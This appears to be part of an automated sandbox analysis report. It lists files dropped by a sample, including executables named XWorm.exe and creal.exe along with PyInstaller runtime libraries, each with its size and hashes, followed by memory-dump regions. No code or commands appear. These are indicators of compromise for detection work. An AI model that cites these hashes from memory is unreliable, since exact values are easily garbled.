86480d265b5dc94e53a53a444a4a23bfc1eae6ac1a9532eb0355759c23072589ed7904807d511f16ff98a0c3499de675c1abfcfe531ec2d02f0b065cbc28452b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\_hashlib.pyd

Filesize
46KB

MD5
f6f10f79867e33929e8c3263beaee423

SHA1
91ed04e12da5e5bed607f1957ede5057d78c275f

SHA256
c66d0a524a9d6c7f110273ffb14fb0ead440bf42f7a3957554f8b053331a7c3c

SHA512
30004621f7ee267e18987922b3e4243da6080cc7fcff8caa9cc8fdf795ba156ffba8c163a621959c2696cea6835398b046ff3175c0d02154532a93395391124b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\_lzma.pyd

Filesize
159KB

MD5
e63bf80e04ae950ef22d8fc100d6495f

SHA1
f2340ecaa46cb1737abcb19dbab6de9e3cbc51d7

SHA256
f4016a1a8eb34aaf4f20d6c2fdbb02992cc5125f5c32f0335c6dfbeedb9add5c

SHA512
cd70c7c99e5fb131567aa2213abd5f811e2a271ac12a2210be6a04728c696c407814e4535e7ca19ca86a2d3311d822cc6985864a2e178e1b36faf6bc828e621f

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\_multiprocessing.pyd

Filesize
29KB

MD5
18fd166504c6bd1f60ad3b903e602532

SHA1
019ff28a64b4e1e227d1ee536a8774e441ebaf44

SHA256
a50e38ab8b6c4bfb834c047142f69a08d18a0bcc2f84a5ee81c5627ff5156618

SHA512
5ba1b75f24da3ff4b1babc4bf4ed039e42cea2c2c7dbcf7c9686050c21c3864c576ad80a11cbf47f4bc4073e8ad343ffe9702407a4fd92b07bbf88930596d6bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\_queue.pyd

Filesize
28KB

MD5
25e90e7317853c3807893591d72c1c11

SHA1
d6df3b4dd8c6235f263b637ec4646b56c9c977b2

SHA256
72584c4be4e56b0c26023a30385e90a1b5ac3a8d559007d90da11e5262ec7b76

SHA512
6130e9631465ec7b5bc65e29dd23ea99846baf34b55c69b86774e586c193eea2b4c0557f0d3980b317fece7eb1b9a2f612eb48697b5c61850baf16dbcc3f5a87

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\_socket.pyd

Filesize
77KB

MD5
ee5c9250e766a02aa745a0d1493a387c

SHA1
0e6e86b7cda5f99e719dab8bdcae21558e7def10

SHA256
28b23ef979ff75b3cc44fce358b7ed087488105e3186249163504cd719567ccf

SHA512
ba4ad7d081b307f220212a9fbf982f925ac742eec64b3c9ed2bdbf3d06a589b1acc992d9585dec077de3b7f9e814a7115470a89307123491a3aff0ac3d795419

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\_sqlite3.pyd

Filesize
87KB

MD5
bace6fe8622990c0c9cca00e516f2d08

SHA1
783a36cc60eb14b67b487aecb8b52eae25c9cdd3

SHA256
e6eec0c9672cb975c2688f1b4debff2be2347dd437057411ec591228730cc690

SHA512
23cd846a654b6ebd557bb261c02664afda7a46980bf9033d0ad40c4730a98eaf266ce9846f6fd64ee3fc871626cda2f596ead66451cab94972565753627ff911

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\_ssl.pyd

Filesize
151KB

MD5
ce0ef7db1b5ec4211c901ef0ccc4c168

SHA1
da92022e89b5c6e4d7b0ce704cfba1ba0f50d20e

SHA256
bbcc8078d2624506bd33ed25a64230f9be74e7ff87faef517ab28e2f63f5e77a

SHA512
0c50bb2d47b0252419a1f7d58512cf2bdfc024b3f9dbbd44cd989d6e9e5d493631404b251afe0ce888ff61ed45c29c378b94801660d0429368df902f2eebb481

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\base_library.zip

Filesize
824KB

MD5
fae21bd1569fa2a63fb4b7a16e777208

SHA1
98e03e2ccb2425ca112ad20db949f763beb38611

SHA256
dbb6ff0ef96b8d93555d669f8f4775a9852156c6b3c1574a4cee4f6d2ad8f975

SHA512
68139b79a2026dd1d9bbb1eb73780abe5660d1efbda7870b557baabcbb46817b25958701725f122bfa3226c377559fa159ac9ec7dbdfbbd05401c644059703fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\charset_normalizer\md__mypyc.cp38-win_amd64.pyd

Filesize
116KB

MD5
073f09e1edf5ec4173ce2de1121b9dd1

SHA1
6cdb2559a1b706446cdd993e6fd680095e119b2e

SHA256
7412969bfe1bca38bbb25bab02b54506a05015a4944b54953fcfdb179ec3f13c

SHA512
70a1a766001ec78a5fce7eadf6cae07f11b3ca6b08115e130c77d024524879577ccab263c596102102b1569933c601592fbb5ee07c7db123bb850965ef8e8e96

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\libcrypto-1_1.dll

Filesize
3.2MB

MD5
89511df61678befa2f62f5025c8c8448

SHA1
df3961f833b4964f70fcf1c002d9fd7309f53ef8

SHA256
296426e7ce11bc3d1cfa9f2aeb42f60c974da4af3b3efbeb0ba40e92e5299fdf

SHA512
9af069ea13551a4672fdd4635d3242e017837b76ab2815788148dd4c44b4cf3a650d43ac79cd2122e1e51e01fb5164e71ff81a829395bdb8e50bb50a33f0a668

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\libssl-1_1.dll

Filesize
674KB

MD5
50bcfb04328fec1a22c31c0e39286470

SHA1
3a1b78faf34125c7b8d684419fa715c367db3daa

SHA256
fddd0da02dcd41786e9aa04ba17ba391ce39dae6b1f54cfa1e2bb55bc753fce9

SHA512
370e6dfd318d905b79baf1808efbf6da58590f00006513bdaaed0c313f6fa6c36f634ea3b05f916cee59f4db25a23dd9e6f64caf3c04a200e78c193027f57685

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\python3.DLL

Filesize
58KB

MD5
ff2c3e3b0becea495d9078a8a623c604

SHA1
c0ee5a5c5c758622386719da3cf6d11a320c804b

SHA256
031421c1061bd0fed1975dab16f67228b925302a74ceeda79324a9cdd943f32d

SHA512
5313132032c0eea338e0c8c6fdba68d694ab30ff908d0093c926e3744a2bfaf0a1cca13c305a4d5fcb01c1a20bb7f48654fd93218d30a04e34b6fcf0e308e675

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\python38.dll

Filesize
4.0MB

MD5
c381edf39a0c3ed74f1df4a44fbab4ba

SHA1
688af6616d5f2f67ff9f49dc6790583825fb82ab

SHA256
f8c622753feb3cec062a535f2a285b17f6d118fee0bf8ed5a2f3d06ca53e729d

SHA512
88abc4ef225593e176050a6526b4873c08aca3b464616b502e64e7995368e82ec413cdf9e0bc8902994b2be25aa0aaf2e5135977599e57a0e8e1809f2b67eeec

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\pywin32_system32\pythoncom38.dll

Filesize
691KB

MD5
597955a07be4ae08f3b09adbf996fa83

SHA1
3817e541646fd3cdd7a8256a1260f6edfe7dd0c0

SHA256
ddfc515aea27ec414cfc84bef385711c82f0618f482df9d262c490226d7fa9d7

SHA512
485efaecb8ea5b2d4644d9ab0927b636f7ab6d660da04b088e26452a28b5b11bccee9724cb625a7d5bde3fa5909aa32f3568909965439a06d3dfc0b7e345c941

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\pywin32_system32\pywintypes38.dll

Filesize
139KB

MD5
f60da44a33910eda70d838d7635d8fb1

SHA1
c35b4cf47349888384729386c74c374edb6f6ff3

SHA256
13934599ff931f97e8eac6106dc67d54609befd0b0e653b46f6c25b18830c572

SHA512
3c57ed384c23c89f99708bdf688ebd28629e84df8756e7b64dfa8b6e0b52beefb0c62de820f2c72e5679b7632279dcb414a781cfd2c5c9654d09d9da24fa17b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\sqlite3.dll

Filesize
1.4MB

MD5
7bff7832f9e14b9765dc4a292e734db9

SHA1
53468eec966042756f42cdedfb5f694301a9731d

SHA256
3d9f46abd55fb2371c1e8d4fccafe98088732acee155c6245e34817124b887b2

SHA512
f84d493c2b0a4b58dcc8fc95adfefe0de792096fb7ee960b0fa5dd2fe4c4e76bda45976a34ea09369860b5f837542ba5d0dee32db15041f531625a94a6f287fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\unicodedata.pyd

Filesize
1.0MB

MD5
0a22c143ab1dbd20e6ed6a4cb5fe1e43

SHA1
2eb837eb204d7467caad4a82e7b9932553cc9011

SHA256
d0b8deabc7bc531c0c45f17ffc75c55b1ac9ff71347b74753096050eec6235db

SHA512
8a48246bbf1dfbae63aafca8bb9ae5c14c9dbb60dcc43a1030d7ea11033cba8d6e780ab9620eeadf303f5a3a9167bddec4b2fa23dbe526b95db5c297c9f688d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\win32\win32api.pyd

Filesize
138KB

MD5
57be78d0f2a66700600266ebc86c9b3c

SHA1
a47987d476cb9c76698890405e0b65aa10e07169

SHA256
9ab2b3a63bf2d0ef5ff3412c0b000756677810f3aa60a10bf62bb92c9f9b6ee2

SHA512
98c2a2e48adfae6c7d3c7d6731e688a27fc1eb6675760ab44f78e4eedebf88b09e425d21baf5674d402f9cfc9d7ebc6d643f8c763c8db5f6b1f8bf83681c256c

Download Submit
C:\Users\Admin\AppData\Local\Temp\creal.exe

Filesize
16.1MB

MD5
b25a92bdbed301fae7d1857629ef0c37

SHA1
8a8626af07230ee969afbac4fce8003090951bc8

SHA256
1ffd509b527ebe41daa3dcbb2becb17792d3a07c980308fb0f264c5ab3f6458e

SHA512
3c0d630445ca38482868730403a544b5b8b232f11016d0f04423872d7a90a4645fbc135ada45cb3f91b96762c3e94aa2132a00b60740264fe8954a34130327f9

Download Submit
C:\Users\Admin\AppData\Local\Tempcreibwjjnu.db

Filesize
46KB

MD5
02d2c46697e3714e49f46b680b9a6b83

SHA1
84f98b56d49f01e9b6b76a4e21accf64fd319140

SHA256
522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9

SHA512
60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

Download Submit
C:\Users\Admin\AppData\Local\Tempcrfwhngwke.db

Filesize
20KB

MD5
c9ff7748d8fcef4cf84a5501e996a641

SHA1
02867e5010f62f97ebb0cfb32cb3ede9449fe0c9

SHA256
4d3f3194cb1133437aa69bb880c8cbb55ddf06ff61a88ca6c3f1bbfbfd35d988

SHA512
d36054499869a8f56ac8547ccd5455f1252c24e17d2b185955390b32da7e2a732ace4e0f30f9493fcc61425a2e31ed623465f998f41af69423ee0e3ed1483a73

Download Submit
C:\Users\Admin\AppData\Local\Tempcrjyurbrjy.db

Filesize
92KB

MD5
c61f0bee83c8a956f2cf4ceba90bebc9

SHA1
f4f61f0e65b7669be468cacaf8e00b2f30cb46cc

SHA256
601c578f842ad1a4c743f3bf049d691225697819abe9b75bfe156264412e28dc

SHA512
e6949a72e8bc26fd2910339ae75f22a36a0ad0bf9579bb2a0ada2ee2b8fb3a1b3891756eec774d4a64263e937c6ae768249e64874c559bb2f1b69d2d38bfceaa

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OWHRPQUG0R2DPE7BN7FR.temp

Filesize
7KB

MD5
1486d5db729be7024c3a802b0c31cb85

SHA1
2e75493720584dbca7768978784107ed8f7ac94c

SHA256
84e6c859c67f97d1f3cf129bc8ed4854cfe47928d6cf80bde46e4f4f3c3592a1

SHA512
3a3cf6eb9fcc75c0ba00611f5a0a8f928259eb009a7f27da6c33f96a04eb7313f9ea4467a7eab36134a410e2d2471837ed69533ea18ada4830237402407b9aa3

Download Submit
\Users\Admin\AppData\Local\Temp\XWorm.exe

Filesize
76KB

MD5
22a651585671941246f81eabab2cb188

SHA1
dcb70291a0efcf53506cb357b44aec24e9bc3f52

SHA256
5673aa81d09dc3c06b606e056e02b8488591620d7119e8e296fdec6994c7755e

SHA512
24f68d8a7961cde225a22c28515cd9bc3d3479243ba73ea9601faa323dbf657eb7ae77194d8b1cd52dae3d84b5604881d169dafdfbcfb8d02b22c030298aff7c

Download Submit
\Users\Admin\AppData\Local\Temp\Xworm-V5.6\Xworm.exe

Filesize
14.9MB

MD5
56ccb739926a725e78a7acf9af52c4bb

SHA1
5b01b90137871c3c8f0d04f510c4d56b23932cbc

SHA256
90f58865f265722ab007abb25074b3fc4916e927402552c6be17ef9afac96405

SHA512
2fee662bc4a1a36ce7328b23f991fa4a383b628839e403d6eb6a9533084b17699a6c939509867a86e803aafef2f9def98fa9305b576dad754aa7f599920c19a1

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI27482\charset_normalizer\md.cp38-win_amd64.pyd

Filesize
10KB

MD5
38105df780eddd734027328e0dca0ca3

SHA1
45f1d9e3472478f8e1ba86675f5c81c00b183bea

SHA256
9512896233d2119e78e2e1fcfd83643b2be2b427f08d16fc568fe98b9d4913cb

SHA512
ba2a05c236ce47d87888f618be2b23532d0d882578707b07ae220a96883b468f7088a19ebbe3bac2adf4035da6b7ee6fa9e57b620e2bc67b28e54cd969d6bbb3

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI27482\libffi-7.dll

Filesize
32KB

MD5
eef7981412be8ea459064d3090f4b3aa

SHA1
c60da4830ce27afc234b3c3014c583f7f0a5a925

SHA256
f60dd9f2fcbd495674dfc1555effb710eb081fc7d4cae5fa58c438ab50405081

SHA512
dc9ff4202f74a13ca9949a123dff4c0223da969f49e9348feaf93da4470f7be82cfa1d392566eaaa836d77dde7193fed15a8395509f72a0e9f97c66c0a096016

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI27482\pyexpat.pyd

Filesize
187KB

MD5
a9e03036e55c680004576490efa6a792

SHA1
8a1948f1ba8b4bb9e34f29eade786fc85949d74c

SHA256
70fe25f01eafbf730deb95fd101b220149bb2eeea690b24b20f6f4bcdb0f04ed

SHA512
fa664233ceaa848901d19091f01cbd3ada8dd1a30de352dca693c4394e243941405edb0fe09fc9fb404fe18a5455c78aa8ce64f7037e63ac9574c2aec5ee4267

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI27482\select.pyd

Filesize
27KB

MD5
6e3e3565f98e23bee501c54a4b8833db

SHA1
a4c9ecbd00c774e210eb9216e03d7945b3406c2c

SHA256
71a2198c2f9c8cb117f3ea41dc96b9ae9899f64f21392778d1516986f72d434b

SHA512
359aac4a443a013f06295e1a370f89d4452ea75fd2d11776f4eccf605b59caf529baffdcc3cef3eeb59e44a42beaf927bed908b507ac479cccc870768a620fed

Download Submit
memory/964-201-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/1416-326-0x0000000001380000-0x000000000139A000-memory.dmp

Filesize
104KB

Download
memory/1544-71-0x0000000000400000-0x000000000237D000-memory.dmp

Filesize
31.5MB

Download
memory/2112-134-0x00000000001B0000-0x00000000001F0000-memory.dmp

Filesize
256KB

Download
memory/2240-202-0x00000000020F0000-0x00000000020F8000-memory.dmp

Filesize
32KB

Download
memory/2248-191-0x0000000002000000-0x0000000002008000-memory.dmp

Filesize
32KB

Download
memory/2248-190-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2592-132-0x0000000000320000-0x000000000033A000-memory.dmp

Filesize
104KB

Download
memory/2760-241-0x000000001C580000-0x000000001C774000-memory.dmp

Filesize
2.0MB

Download
memory/2760-137-0x0000000000DF0000-0x0000000001CD8000-memory.dmp

Filesize
14.9MB

Download
memory/2900-133-0x00000000001F0000-0x000000000020A000-memory.dmp

Filesize
104KB

Download